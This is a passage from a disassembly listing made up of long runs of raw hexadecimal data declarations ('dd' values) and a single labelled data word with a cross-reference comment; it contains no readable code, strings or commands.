		dd 0B2330094h, 4AB8ACC7h, 9A00087Ah, 67362C5h, 1DD95Ah
		dd 9D58AAFFh, 0FD86A8F3h, 385D9A00h, 9E55EAADh,	4BFA0048h
		dd 0F9A0752Dh, 0A800A1B6h, 0CB743079h, 0F4B83713h, 0DC490066h
		dd 5BDBA414h, 3B00156Bh, 2A40887Eh, 746162Fh, 6E2D1A27h
		dd 2E8D3083h, 3C7DB68Ch, 39212426h, 194DC300h, 0F0DA291h
		dd 3F35C05Ah, 758344A0h, 0D57AB22Ch, 4CE2B600h,	0C5D6EE66h
		dd 0FE0B007Ch, 9BF1FF23h, 1603313Dh, 8F5F9C91h,	3E9AD08Ch
		dd 2AC10017h, 48F07A95h, 0AE00DC6Ch, 9B37E9F2h,	32A124h
		dd 70D5E8B2h, 14A5743Fh, 0D3E2BC00h, 0A4714143h, 0E5B33835h
		dd 42394000h, 0F5ACB0D1h, 38F79E05h, 30C0D546h,	0E2EC28BBh
		dd 377600E3h, 0B92745A5h, 353BFBACh, 0E3F00F9h,	0ABF52F06h
		dd 0FE730059h, 0A3DA98B6h, 0E40E8948h, 0E1F0F253h, 2F748DE9h
		dd 2AA8A0FEh, 90270919h, 1F7E073Eh, 20E8920Dh, 0DDF533C9h
		dd 1EC8E100h, 9B274868h, 0A3C000A2h, 5FD0DA66h,	18C0FF2Ch
		dd 96E8C43Fh, 0C7100B0h, 55984F9Eh, 0DC001305h,	0AAAFD2Bh
		dd 0F468986h, 5D9C0C2Dh, 8E99AA5h, 475039FCh, 0C4E0A836h
		dd 0C2E7064h, 0B94C814Dh, 0ED907DB0h, 0C31EFC00h, 997B7617h
		dd 46090318h, 7D738764h, 197738E0h, 49829400h, 0D061E8F7h
		dd 0F254E0E3h, 4CD0A018h, 7167D2Bh, 7F5039B7h, 0B209B09Ah
		dd 2A731067h, 6E65DF00h, 0C324DE32h, 828400E4h,	0C8FB95AAh
		dd 1D036A10h, 8C866654h, 0E0C80025h, 14533968h,	4A00C13Dh
		dd 8EDB6EE1h, 776A59Ah,	6A49D09Fh, 19315046h, 65012D4Ch
		dd 0A4C6CE50h, 69E8A0A9h, 0F347E85Ch, 1EB9A720h, 80705204h
		dd 0CD0CEB85h, 0AB00E015h, 4FB2AC97h, 51AAA3Fh,	0D5EA2691h
		dd 7397027Dh, 4B4006FBh, 1D0708F5h, 2CE7CFAFh, 39A11AF0h
		dd 0D290009Eh, 0A3B38D34h, 4E0EBA12h, 0A02711E5h, 687FE94Ch
		dd 488A0EA5h, 0C05CD3A0h, 0B68E4958h, 0D8000D25h, 8BC59F13h
		dd 1C6A43DDh, 43B5F75Ah, 0DBCAA394h, 4CE58088h,	0E9799B00h
		dd 51812DE0h, 32950025h, 980299D0h, 9100AFABh, 443B3AE5h
		dd 242A46C6h, 84D4E6h, 6C8D7F61h, 6B00DC2Dh, 0CE9C17B6h
		dd 5DA19AAh, 27E13462h,	83D800F3h, 9D6B81DDh, 0CCD63202h
		dd 0E1E6AABDh, 0C130C913h, 47DF00ADh, 7F4F19CDh, 1F000C05h
		dd 0B09BDBB5h, 70C3DCF5h, 0FCF40025h, 784E2A9Ah, 80009EF3h
		dd 0F9C8A007h, 255B3Ah,	7BEC1A44h, 0F561B30Dh, 0E094CB00h
		dd 0AD4994Ch, 0EDC900C4h, 5F959E7Ch, 0A7013305h, 27A2F74Eh
		dd 11F05961h, 0C7B401F4h, 991A38CAh, 46888066h,	0A81753C6h
		dd 0A9D50F6Bh, 0DC0F13Ah, 907CCCBFh, 0E4348600h, 10ABCA61h
		dd 67D0912h, 4C0F8EC0h,	7BB66580h, 770507A8h, 0A4EE7394h
		dd 0ACC5D800h, 48C83E59h, 3B00057Fh, 0D34FCEC4h, 4800538Fh
		dd 946A7A61h, 164E822h,	0B17E46D5h, 305D1D35h, 2002632h
		dd 0C2555BC4h, 12570617h, 0FE5A86h, 957E434Ah, 810064F7h
		dd 0BD2E4B25h, 2F260Eh,	0E05C23F2h, 0AADD8889h,	0BB9E4F0Fh
		dd 0A000F380h, 30FD11D5h, 0A7723Ch, 0C806B103h,	8DBD86F2h
		dd 0C7434801h, 4014E64Ah, 4C8B9630h, 0EE004FB7h, 686D0CDAh
		dd 9F4CF4F5h, 1392E30h,	0E7F06100h, 484B73ECh, 0E000648Bh
		dd 66701A0Fh, 0C876BEA8h, 63E76D14h, 0B3D100C0h, 0F78C0A75h
		dd 29D82EEFh, 85860157h, 30E79512h, 7A0050D8h, 0FBCAD9B8h
		dd 683B87h, 8A4F4C5h, 0D5CF690Bh, 9EC6BC01h, 0A2D0A8B8h
		dd 0D7E8C053h, 0E71FD640h, 3E910196h, 3970E2F9h, 0C843303Bh
		dd 0D266602h, 5E2C4541h, 50C00016h, 2FF89711h, 8171B903h
		dd 0D88D2742h, 1CE2A65Bh, 93D46D3Fh, 66EB0074h,	0C6A08F0Ah
		dd 1C803B0Eh, 23BAC091h, 75A88Ch, 0C0A65E2Ah, 8FEA4EC8h
		dd 3C9F5C00h, 958DF768h, 0CEE91824h, 0CDC2D103h, 0FDD19100h
		dd 496762BDh, 8B5CB130h
		dd 8B809D23h, 12900BD3h, 0D2F0CD12h, 9B789001h,	4C80EBA8h
		dd 4BB6C460h, 0B41CAA81h, 7740668Ah, 8558D32Bh,	46D21C2Dh
		dd 9764A3h, 3AE4F8E5h, 0BE01DED9h, 82F51BF7h, 5861A43Bh
		dd 6258D8h, 0E0E785FEh,	456E3EAh, 0BF176C00h, 3C1827FDh
		dd 0F0710073h, 0BC11C1DAh, 800337A5h, 2C76BFAAh, 0AEB80094h
		dd 8FECC6DDh, 2009DC0Bh, 0C2C52Dh, 2831D57Ch, 795C0007h
		dd 49697C5Bh, 0EA009F48h, 25CDEC57h, 1F2610CCh,	0C1136818h
		dd 0C69747E0h, 4565FC07h, 3800727Ah, 437192C7h,	0A72975h
		dd 8BD640F1h, 13B11990h, 0A37C8300h, 319DD4B8h,	9D37D9Fh
		dd 97882E7Ah, 7D258080h, 8A00D665h, 9D12AA5Eh, 58BD22h
		dd 95F56779h, 1898040Ah, 0F759C605h, 208026ACh,	5AF1C0h
		dd 235D3533h, 7CCF8C6Ah, 0B93AF4h, 268BA600h, 0F96240h
		dd 7047CDABh, 9C4A5EEh,	49003AE0h, 0E6A8287Ch, 2C9A34E9h
		dd 42058E4h, 80848CA5h,	4B1EDD7Eh, 2B82C100h, 1748C395h
		dd 0C0DAE7BBh, 13E7DB88h, 115DA7h, 0D60E922Ah, 0E500B9B6h
		dd 7BA831BDh, 169E43Ah,	6BCC89E6h, 70C73778h, 0B51EE970h
		dd 260253D9h, 80CBF0ABh, 6BCFB384h, 0E313167Dh,	0C06E1F6Dh
		dd 47F803D9h, 80900AD3h, 0AF6BDA00h, 0F5E1A539h, 0EFFD00E8h
		dd 184E32DBh, 0B3306A3Dh, 0C07D2813h, 1DF2019Ah, 6F379559h
		dd 6C07E465h, 5D7988C2h, 0CD1F009Eh, 0FAF2AE16h, 214C3500h
		dd 0B5EE845Eh, 0B0FB016Fh, 0EB61F213h, 0E2F8417Ah, 54122073h
		dd 4272D100h, 68C4F61Dh, 3CF2F8E6h, 0D0BEF87Ah,	0D73DB482h
		dd 49407F01h, 0A500BEC9h, 23C0D408h, 1E4EC345h,	0C1FE9C10h
		dd 9026539h, 8D60800Eh,	12BDF0EAh, 0ED430001h, 91F4FF54h
		dd 520576A6h, 0AE82CF98h, 80C7F4C3h, 53014BFh, 0E1F2104Fh
		dd 41F6804Ch, 0DC283160h, 0B03C007h, 719EE49Fh,	0C25299C8h
		dd 6411D0h, 7FD73B9Bh, 14A29117h, 2E70F800h, 0E945DAEAh
		dd 6272B8h, 12D0311h, 0A3FD98F0h, 2492905h, 9C018FE6h
		dd 44AFEE86h, 483568C0h, 0A500CFB8h, 3872FF4Ah,	0D903AAB7h
		dd 36B07A2h, 7641EF09h,	0F7D51A57h, 1FFE29CCh, 4031A35Fh
		dd 9C48E691h, 18986D9Dh, 1E524C01h, 3FF43445h, 0F2FBACCh
		dd 97484723h, 0D188FA60h, 8E789325h, 2AC7160Fh,	0FBB30076h
		dd 3D911936h, 0E200A56Ah, 0C848BF8Eh, 2800A897h, 47FE1869h
		dd 0F3540Ah, 8ADFB35h, 814966B8h, 12D2C701h, 0CBFE11D6h
		dd 3027D0D0h, 58210BABh, 0B174BD8Fh, 5AF8EA0Ch,	16859h
		dd 0E8429208h, 7CBE4EDBh, 0E97BC901h, 94E2D50Dh, 0CAE04425h
		dd 51EA0064h, 72ACBF2h,	681DB8F7h, 0DB9E5CFFh, 0CF348800h
		dd 0FE1F14Dh, 786CCEA1h, 942490E9h, 0C4C48C3Dh,	0B0F48506h
		dd 98B406h, 2C5A9231h, 0F52350Bh, 0D6543D00h, 0DFC5D2FDh
		dd 0ECEE6Dh, 0AADB3C40h, 8F507C41h, 7F243E7Fh, 8039B8D1h
		dd 141B126Ch, 0C723590h, 3DDFF067h, 8A002CB8h, 574516FAh
		dd 1C3EF373h, 0A40958h,	233265E1h, 8C011D5Dh, 8F0EA354h
		dd 84CC07AFh, 176200C5h, 0B1F9E499h, 2E007D85h,	95F60B7Ch
		dd 0E059EFDEh, 0C39048h, 12E02186h, 1A99249Ch, 6E00AA70h
		dd 9D4C3843h, 13FAB3FCh, 446A6Bh, 1DAAFD54h, 0D13A4809h
		dd 0A4910060h, 0D09F754Dh, 4CCD0044h, 35A0F3A8h, 6E16FBF5h
		dd 2003ABFFh, 0D8E3A3B1h, 2C5F25h, 0DE059410h, 0E48D5C0Ah
		dd 5E120700h, 4F322437h, 0B0B70750h, 514CA565h,	0C00791F1h
		dd 41028D84h, 0D81382BDh, 81C89040h, 0D1AE008Eh, 117D2D8Ch
		dd 7B00C7BEh, 0C41707F4h, 21B57A2h, 9FA45B25h, 0D4E027E8h
		dd 4100E58Dh, 1AA1EED4h, 0DAD91Fh, 190BF113h, 0C1A2B1B0h
		dd 0D7000A74h, 0C0425346h, 131F36Ch, 0A599F648h, 0C4F2E65Bh
		dd 0C700C1E3h, 0BDCC8E34h, 769B54h, 0A0E5CD7Bh,	6AF9BE1Dh
		dd 899DED00h, 8EA4BB8Ch, 9990030h, 0AD022C3Bh, 0B1009317h
		dd 5D9F88A7h, 74EE8Dh, 0ED852D8Bh, 525770A1h, 8099973Ah
		dd 0A41AF15Fh, 73E92Ah,	191B5E6Fh, 890D58D7h, 0A50094B8h
		dd 20D01EA9h, 3DFAFFh, 0AE453769h, 0C833044Ah, 0B6C9A02h
		dd 0C82FCEA5h, 0FCF440h, 0CBB2A019h, 8DD1F85Fh,	8551D43Ah
		dd 3C1D2688h, 18D07080h, 54F4A00Bh, 0D1F40074h,	0AA416B5Eh
		dd 0EF00A6F5h, 7BFA7740h, 8AC14Fh, 21FCBDD6h, 5A0D3544h
		dd 0BBE9DA00h, 3678032Dh, 0A0C3ED8h, 4705E2Ch, 40549B75h
		dd 0DA652343h, 0E3BE0168h, 0BD399CC9h, 549E02Ch, 0C4184F01h
		dd 0BC9D579Fh, 0AB2660h, 3E00D20h, 0E91CE2EEh, 0DC7F892Ch
		dd 6C1DCC2Ch, 27485C40h, 90C6EE08h, 3F190008h, 15573DF3h
		dd 7160C224h, 98026620h, 0F0B74E11h, 0E9019193h, 683A9730h
		dd 86D428A3h, 75C1FA4Ah, 928400AEh, 0D62B3164h,	81002D5Bh
		dd 9B93A0EBh, 0B925D4h,	57A1868Ch, 72DD4E85h, 0AF380C00h
		dd 0EED17B1h, 0AC373A48h, 63F72A00h, 71D22924h,	4A8E101h
		dd 44457954h, 0FCAEF8F4h, 53C1007Bh, 8F371FEBh,	69003C9Ch
		dd 0A8C8F615h, 5CB82793h, 4C048C6Fh, 0C084BB70h, 0F2CC73AEh
		dd 80BAD125h, 52479A20h, 6E6B1679h, 29800717h, 41E0F73Eh
		dd 0E968418Ch, 95C06059h, 0ECAE0E00h, 404454D1h, 980B0028h
		dd 0D5A7DE96h, 0A10F784Fh, 0E024C94Eh, 64ED261Dh, 0F048BA47h
		dd 0A8F1003Ah, 115B974Ch, 527CC791h, 4FCAE48h, 0FBCFB8C5h
		dd 0E89814F0h, 0C1D10708h, 0A5D0A8CEh, 4FE40FBBh, 3DE02C0Eh
		dd 313593F1h, 6E7370F9h, 0EDCB8300h, 0BE15B811h, 4FB7055Ah
		dd 80026ADFh, 7B8B28D4h, 0CC00797Ah, 0FF85430Dh, 6E0986h
		dd 0E3B32F9h, 1588B040h, 1B4CB500h, 91A066Ah, 0A58D0FF1h
		dd 450068EFh, 8AA35BF8h, 0A182A803h, 0CF287B2Ch, 475E54E0h
		dd 0C49002Bh, 439E94E1h, 4B7BCBEEh, 44905D00h, 6AABFCACh
		dd 2B8700D5h, 0E298A204h, 30E18889h, 920081A8h,	0A8F5C851h
		dd 871420h, 0F3C25BF4h,	8611EC57h, 0C552951Fh, 2219A085h
		dd 0FD92A45Eh, 0F526EF00h, 1DB4F5Ch, 0C38D0D88h, 41AF1756h
		dd 0F24BD9ACh, 0AD97DE00h, 39F62CA3h, 0F921C90h, 0FD610A3Fh
		dd 306019ECh, 6B01E478h, 0A3FE6846h, 4AD8D649h,	0BB67E8Eh
		dd 51FF2B0Eh, 0FD065480h, 0F37AF7B5h, 0E5B8BD02h, 807C5D04h
		dd 0DA6D7FDCh, 93200FEh, 41D4268Fh, 0F2001C02h,	5060C3D8h
		dd 1461B13Ah, 0E6220D83h, 3FF31A07h, 9C56601Eh,	0C5001B11h
		dd 346FDF38h, 5C05CCh, 0F19EEE53h, 0DC4D6762h, 0B4E7BC00h
		dd 0DBF5B781h, 5B1D2CC0h, 499D01ACh, 0F823FA5Eh, 2B004DBBh
		dd 52647E19h, 7F5A4383h, 53D20069h, 82FE4AE7h, 1203CB0Fh
		dd 0CC22F664h, 0D65A8066h, 798A797Dh, 857289Dh,	18E901D0h
		dd 2D5CED07h, 7C8DC880h, 0E6762C00h, 96BAACBh, 0CCC7000Fh
		dd 5B3098ECh, 0B90017D1h, 3C9652DAh, 2BCD47h, 9151FDB0h
		dd 0D5CF5932h, 3921B862h, 0B3BC405Ch, 6F5000E0h, 0EB84A340h
		dd 0A0B42955h, 145CBB00h, 50810E1h, 1520DF3Bh, 1F4C022h
		dd 3E0F337Eh, 8EF8D0E9h, 0BAA981F1h, 0B98A0CA3h, 324ACD8h
		dd 3A720EA7h, 0CEA016FBh, 0D40384BCh, 52E026C9h, 0ED45E808h
		dd 0F5291E4Fh, 772082C2h, 55028F4Ch, 58294036h,	2EA5019Eh
		dd 62E80B74h, 0E28851Eh, 340C4FD9h, 0E84120A3h,	52EB2A89h
		dd 0C007EA64h, 0AAFC45BCh, 9BE2744Bh, 0A1CE3B00h, 0AE342896h
		dd 0E6D61FF9h, 32D28064h, 22856E60h, 698F5C00h,	353D78EAh
		dd 7D267C8Ah, 0F2D13FEh
		dd 96930130h, 0C0F17566h, 183DA75Ch, 45A18039h,	23086571h
		dd 2F65EABh, 0CA04C444h, 4EE8CFE3h, 0A1CE370Fh,	671E80C2h
		dd 1D21DBEh, 0E6E45195h, 0F064E524h, 9CEAA24Ch,	65070470h
		dd 5A7A9EC2h, 118FC0BAh, 0D7EA40FCh, 18019791h,	505D9B4Dh
		dd 32026687h, 174595D4h, 0A3A46056h, 3BAA00D7h,	0C6405C25h
		dd 82FA508Bh, 1FEBEA3Eh, 0D0126DCh, 0D4A19BA7h,	0A48E1DFh
		dd 7F3879E0h, 95BC00CFh, 5BE8087Ah, 4A1CC2CEh, 0EA4E96E3h
		dd 5825EC8Bh, 7C794C31h, 0FE439507h, 1A2ED305h,	0FFD35788h
		dd 0F667A727h, 40C11C74h, 6E9BB1EEh, 0A5006915h, 61317CD8h
		dd 31C8702h, 22A25F39h,	3DE1DCB6h, 0B3E8E7BCh, 9CA95D75h
		dd 80044B24h, 0CB62B41h, 219F0378h, 875E8079h, 12FB2007h
		dd 1070B715h, 3E31387Fh, 4E0C26D0h, 0C6419116h,	7D8F2F03h
		dd 583845h, 0DA19B050h,	1A70167Bh, 49B1C20Fh, 5494E0F1h
		dd 18B28571h, 41280E07h, 232895A5h, 3328E0FCh, 0DC806064h
		dd 406EB404h, 0AB0AC011h, 77EA33Eh, 26DD926Ch, 90D24472h
		dd 0AAF5E920h, 0AC3E1200h, 88E55F61h, 85591FF6h, 982469h
		dd 45A9DBEh, 7005C27h, 0B9D9037Eh, 3EB8E1DFh, 30480E7Bh
		dd 8E187858h, 255990FBh, 3A7C2348h, 9EE050F6h, 0C837D000h
		dd 532AA140h, 4A4924Bh,	0B6469F0Dh, 810C80D6h, 1CAC9638h
		dd 4DB63940h, 0BC2E047Ah, 23860092h, 0E709B5Ch,	0B435BE01h
		dd 0A68B75A5h, 0A880A0h, 8734572Ah, 0C35CC264h,	0B3C8EA14h
		dd 0AB1EC48Ch, 724520C7h, 20D38C32h, 0E0AAFA1Dh, 8235D400h
		dd 882418C4h, 58604808h, 0E448F83Dh, 94C83E14h,	3A834805h
		dd 5568A0D1h, 7CB78B01h, 37460C0Bh, 0BD27F050h,	7B0D00D9h
		dd 0ACD4E5BFh, 0E6006AA0h, 1219FD7Fh, 304137B8h, 5FC16346h
		dd 7D3E3C64h, 0FDD1817Bh, 0D9B3C5F1h, 7219A180h, 0AB51238Bh
		dd 4C05F7F6h, 0B4795E10h, 75E95DC0h, 0E0A8096Dh, 0D42F8094h
		dd 7083B40h, 207CC10Fh,	8C85EF01h, 936370B7h, 8E97B983h
		dd 0BDD8390Bh, 1301CF9Eh, 960FC216h, 95D92DA3h,	30831834h
		dd 94F0E8CAh, 0A4CE992h, 9BE202B8h, 681582EBh, 1D3835D8h
		dd 1D10E79h, 0CFD8281Ah, 8007D120h, 79412A21h, 183CE7Fh
		dd 95BBFC7h, 2103F9AFh,	92002098h, 420D84Ch, 50EDA991h
		dd 0D2BE18C0h, 34009EFh, 6481BAC3h, 42EC6A12h, 636083F4h
		dd 0A35095D5h, 452A96E8h, 6600C05Dh, 73930519h,	1EFC3DBh
		dd 0F441390Eh, 5104DCE1h, 2427A9E8h, 850F4010h,	18696B6h
		dd 4A9A5EEAh, 3A245882h, 0B8487987h, 5003733Eh,	0A857090Bh
		dd 88A0493Dh, 0BDA5D380h, 9CA09475h, 0CD00C6F1h, 4B09E8C8h
		dd 3CF01C68h, 0CE879227h, 12BB71DDh, 0DC61ED3Bh, 4EB43542h
		dd 0C0D388E8h, 0D7FD540Ch, 0EC132EF2h, 0C0330EE5h, 4645D8FFh
		dd 2349266h, 0DE50FC49h, 0AC83EDE1h, 82ACC68h, 5E29C33h
		dd 0E42E5100h, 820D9CE9h, 16E0A809h, 0BBDCF561h, 0C64B035Eh
		dd 0FE6ABCB7h, 0CF07E5C0h, 1C72DC26h, 59A9E182h, 0F0EC8A2Eh
		dd 0B0D8EE0Eh
		db 0Ch,	2Fh
word_505446	dw 0BBE4h		; DATA XREF: ___:off_436CE0o
		dd 9B12D751h, 20318194h, 4717943h, 202320C5h, 19B3D10h
		dd 37BCC15h, 8DD9D389h,	249639C4h, 40C458CBh, 88BBAC53h
		dd 0E4228305h, 0C404878Ch, 0C805CF7h, 48431696h, 0A7364E7h
		dd 240684E1h, 123600DCh, 455404E2h, 3843C54h, 8CF7F307h
		dd 0EC40D3A8h, 0F69250h, 3BCC87BAh, 12BF0FDBh, 0DE080A00h
		dd 4FA72AD7h, 0EC1C2C5Ch, 3E346084h, 44B96DF9h,	0A69CFE00h
		dd 19FA0B28h, 9131446h,	0DE218004h, 0ADBEA694h,	921E0109h
		dd 2A0C9F0Ah, 6C9C64D0h, 7F84FC4Ch, 0C489B70Bh,	9AB024CFh
		dd 0F8348C81h, 8730F087h, 0D1D434CEh, 10F99ED4h, 921CA98Bh
		dd 1BE7704h, 6A81A655h,	41F326D2h, 0C82EAC8h, 0EF790439h
		dd 311A40D0h, 0BF029E72h, 0D4CCE840h, 780F2500h, 19E07655h
		dd 279A289Dh, 0A0B65CACh, 36DC3580h, 50998DBFh,	0D3CEFC80h
		dd 92DD30FBh, 0C4920EE0h, 8895CC3Bh, 9E04300h, 2EAD9CC3h
		dd 4E0C24E9h, 80D81B24h, 0D8394C8Ah, 38CE3680h,	2C0EB7h
		dd 190A35FBh, 5DEE621Ch, 0F089A201h, 0F73E29BDh, 892C858h
		dd 0EA0B32A6h, 0DC3E71CEh, 98F66707h, 0B9D1108Ah, 0EC24E06Fh
		dd 9B821C0Eh, 890181B6h, 519480D0h, 14099586h, 0D8BE1C5Dh
		dd 0F62304D4h, 0FDA69300h, 8545920Ah, 67EBCF80h, 7772EE3Bh
		dd 0DB109DCh, 0E4175601h, 7C803211h, 0C83F0C71h, 0AD702F01h
		dd 8BDA2DA8h, 13D00820h, 2130BF13h, 0CB3C63Ch, 3CAB0508h
		dd 0CB75CEA3h, 0F3E70E24h, 7F73E0AAh, 2471A6Bh,	7512F7DBh
		dd 2C4C3691h, 5AF67D00h, 17F03718h, 0B46B03BCh,	40BFC83Bh
		dd 60F2E9A0h, 19022779h, 69DB331Dh, 5B94600Ch, 98FD64D7h
		dd 487866C5h, 0E44D1843h, 0E490D688h, 68790B07h, 178742CDh
		dd 933F58E0h, 5EE9F20h,	3C145C4Eh, 0C8488D6h, 0A72E0376h
		dd 0F9DB0EDh, 20C8058Bh, 0B63C540h, 9B5B2AE8h, 4CCE21C4h
		dd 9550C181h, 2D18D5E0h, 3BC6A988h, 1A9FAC50h, 5E8980AFh
		dd 0D10AF68Bh, 2EA66314h, 87C0EC0h, 0E21441FCh,	506294DCh
		dd 4E7F2F22h, 9B013300h, 0A84184FBh, 2879FC72h,	4BCCBDEh
		dd 2937424Bh, 41F8C23Ah, 5E30C031h, 0F00D2AE0h,	0A82F4450h
		dd 0B050C900h, 678B2023h, 14EBEA93h, 0E0661DA9h, 0CEA50101h
		dd 0FDECC6ADh, 0C775ECBAh, 32FB7A00h, 0DC1D7F59h, 4B8FE29h
		dd 0BD0BD26Eh, 0DA8CD08Eh, 1761E6B3h, 0D564F6E8h, 34203425h
		dd 2814396h, 0D10B793Dh, 0FC443220h, 79461B00h,	34DA19F0h
		dd 0FB1301BCh, 871E4FA8h, 0F08ACE5Eh, 0D9467414h, 0E07CE207h
		dd 85B80ADCh, 0C572A130h, 10883A6Ch, 7CC1E930h,	28EDB5A2h
		dd 0AEF100D4h, 3062B3E2h, 0E3F217B1h, 5D9C0112h, 733FC260h
		dd 9B45A1A0h, 0D13BB30Ch, 17C5D83h, 9A1B78DDh, 36D0E71Fh
		dd 0FD5104A1h, 0C86ACD0Bh, 4115C5D4h, 0F83A43h,	9CB12AF8h
		dd 3B8A627Dh, 95004C74h, 0A67A4A7Bh, 280019D4h,	8699EE44h
		dd 7758BB0Bh, 14DE00B2h, 0CDA388D8h, 209A8F24h,	60D65B18h
		dd 5DE45188h, 7013CC79h, 0DB74208Eh, 733E723Eh,	13CD8076h
		dd 0E68BFBDCh, 632A00C8h, 7C66B30Eh, 0FA6FE1ADh, 102B80A8h
		dd 30182FEDh, 0DE49946Eh, 500F9B5h, 0DCFCF391h,	52D061Bh
		dd 4CE5BAD1h, 0B904C0C0h, 8B7C1731h, 3F3CA890h,	0A891B0B3h
		dd 0B25DF9h, 78CFF14Ch,	4363CD08h, 960FC017h, 9585D804h
		dd 26B38702h, 6631E8A0h, 7B005C17h, 7408FBF9h, 4CC32F0h
		dd 8594BFC6h, 0C8388BC3h, 1C6AC0DCh, 6003C19Bh,	1BB293D4h
		dd 34828459h, 0E1F82023h, 3F00E69Ah, 17A97FD9h,	904ACC29h
		dd 0F01525E0h, 0D7911017h, 7A309980h, 514B8C49h, 64E03841h
		dd 64643C26h, 3A1C2656h, 53BD8678h, 909182Eh, 4315489Fh
		dd 0BB40A9D0h, 204F8h, 8BFACE9h, 0D4A237B7h, 7593260Ah
		dd 0CE0064B6h, 70A36FA7h, 1D420049h, 644EFE99h,	0C4B8F218h
		dd 0C0BF2128h, 0A384B096h, 9CA099B5h, 1E1D01D9h, 890F4EECh
		dd 52082E7h, 5FEB5B3h, 0F2E482F9h, 0F867DF30h, 0EF70Ah
		dd 0CDA697D3h, 385D6FBh, 0BC59C020h, 7816FC1Ch,	882287A1h
		dd 5D0C48CDh, 0F7B2202Ch, 49887030h, 771311h, 0AC1E87EAh
		dd 28BB35F6h, 0DA51CF00h, 2F9BC86Ah, 0E8A649E4h, 1308F603h
		dd 11011882h, 44F35CFBh, 8722A10h, 4232F9F2h, 0A5E20073h
		dd 15E0E39h, 3A98E3D8h,	0A03E2194h, 0BC20D828h,	0C8690331h
		dd 32E52FECh, 0E8BC8148h, 9E4372h, 5562E231h, 9DF6073h
		dd 8C95AE96h, 0BB8B98A0h, 509857B5h, 3F59DE16h,	51323C60h
		dd 0FDE01098h, 214CCCEFh, 511B0026h, 0C4481266h, 92F886A8h
		dd 4F13AEE2h, 9CD03A13h, 0F3CE91h, 842F0EB5h, 0F4FA993h
		dd 450C1C91h, 0EA0A5164h, 2B20515h, 5FDC5EEBh, 949028E4h
		dd 0DD5B80E0h, 54FD329Eh, 0B8F5F22Ch, 0A0518309h, 71203AB0h
		dd 0F63D395Dh, 39F90C04h, 1D80B2EEh, 4E8341B7h,	90F78F29h
		dd 777DF631h, 24E5007Ah, 0A1D05F03h, 0EA09860Bh, 254DC81h
		dd 729466A8h, 2FB62238h, 0A46E4500h, 8FE80FAFh,	74680212h
		dd 0F0BDB9F2h, 0D15F9441h, 0E898A69Bh, 3570AC21h, 96128658h
		dd 8CD26DF1h, 77EF8269h, 9851CBh, 0D3605C13h, 0C20773FCh
		dd 2C5648E3h, 728CFA41h, 7294C0C0h, 4CB95C38h, 0C2F96403h
		dd 90234D9Dh, 50BE0143h, 28DDE1C4h, 0C722B044h,	69D0050h
		dd 0BE7FF84Ah, 345C0F1Dh, 0CD7B09ACh, 27A44026h, 1718B6A3h
		dd 9B80528Bh, 0F996C0A0h, 1F974E7Eh, 6EBDA33Bh,	88F881FCh
		dd 31873A64h, 34FC6020h, 0CC7B2499h, 6E1DF660h,	2CFF290Eh
		dd 58001E26h, 0EA73A1EEh, 43951AA5h, 1040719Bh,	0F1000B7Fh
		dd 766104FDh, 66D7A28Bh, 5991E188h, 0AB429A12h,	0B0088CC4h
		dd 50BFC040h, 0E546E1DFh, 23783122h, 0DFB45000h, 84BEE79h
		dd 9F161751h, 0DD8C021Bh, 0A85854A4h, 0C01C2CA0h, 0D52BCD14h
		dd 0E7A900BCh, 0C79B55EDh, 338E02BFh, 0DDB2F669h, 131E74C0h
		dd 9D0FE4B8h, 2AD18C0h,	50E9AF09h, 0A0FF54ECh, 95048CF8h
		dd 0E20B33A6h, 0D1800867h, 0AAD9A68Dh, 84922Ah,	0BEA801DCh
		dd 492174D2h, 18F00E00h, 58802D86h, 0EA5C1793h,	8BD020EBh
		dd 5912767Fh, 5CC9BE85h, 0D5ACF43Ch, 0DF2008Ch,	446C84B1h
		dd 0DE4B8CE0h, 2CA9E806h, 0CA0F0349h, 49C6A3F8h, 3FA70980h
		dd 0A848A24Fh, 5133C00Ch, 521E093h, 3A3091F0h, 9A5180A7h
		dd 0CBFCD2DCh, 5CC600C3h, 9C0C825Eh, 750466A5h,	376C598Fh
		dd 0B26918C0h, 0E5AE1DABh, 13A8AE3Ah, 8894CBE3h, 3087C145h
		dd 80B448B4h, 3FC09F03h, 83B2EBF4h, 5FB9888Fh, 508D07B8h
		dd 5AE20568h, 3A90359Ch, 1FB23BCh, 0D53B69F5h, 10842832h
		dd 0CC2DFE39h, 0E9E12C9Bh, 35C90004h, 0C38C07A1h, 4B392090h
		dd 0B7090890h, 642D712Ch, 82DE798Bh, 4F601E8h, 0E154F2E3h
		dd 770C9B44h, 0BA8C520Ah, 0CA6DC62h, 40719119h,	17D9D020h
		dd 85E7F6B0h, 0C8B48B20h, 80B8C5D9h, 3FCCB6E1h,	7E511802h
		dd 0F3D442C6h, 0B7DFD898h, 8707428Dh, 0D4222931h, 3E3006F2h
		dd 4BF717Bh, 0E81FC7C5h, 0F30C825Bh, 1167DE30h,	88CA0ABEh
		dd 96D080F8h, 0D44883A6h, 0B8A2900h, 8EC231Ch, 0DF400C7Eh
		dd 46C828D3h, 59617C02h, 48364299h, 0BA8B9Ch, 41E00E9Dh
		dd 0D68D9A30h, 88BD8100h, 3FA1F76Dh, 0A89F0707h, 0F99BE52Ah
		dd 793A9030h, 0C8D0F011h, 186C2296h, 1249A040h,	61345907h
		dd 4159E730h, 442AD488h, 8F981D60h, 0C03588F8h,	8771092Fh
		dd 8E0184A8h, 4E3A8B00h
		dd 667B7378h, 23520464h, 0C118C317h, 0D955FDD4h, 8420E513h
		dd 56104310h, 0E1E04CA9h, 500CF2Ah, 0F6CA3717h,	0C72EF0h
		dd 0D02B26EAh, 0E0EDF4DDh, 9B847E03h, 0F8D1F6EEh, 713EAE8h
		dd 0FCD98D20h, 1002702Dh, 609DB37h, 65C43E56h, 60D3C46Ch
		dd 884D3Fh, 0D7454C46h,	0DD8036CFh, 0AF8D0F0Ch,	51BEB1E8h
		dd 0A80EFC94h, 80CE2F88h, 0EA579CDAh, 4D67FADh,	3D46BFC8h
		dd 88AC8AB9h, 525A6431h, 64ECE81Ch, 0E12398A8h,	7F10028Ch
		dd 0C8624544h, 9404B400h, 20A75DF6h, 0C089DE08h, 84E07561h
		dd 88292E31h, 0EC637E07h, 0FE3032A2h, 0A7B30F4Ch, 9C8CE467h
		dd 64B6C7E8h, 0D64100DCh, 591FD305h, 1EE8031Dh,	30B5684Ch
		dd 0DF1629CCh, 1A8100ECh, 6F404B94h, 0CF0065FBh, 8F31F9Eh
		dd 688801h, 11EBF00Ch, 0EA798AA0h, 0F4C478BCh, 0BF67C160h
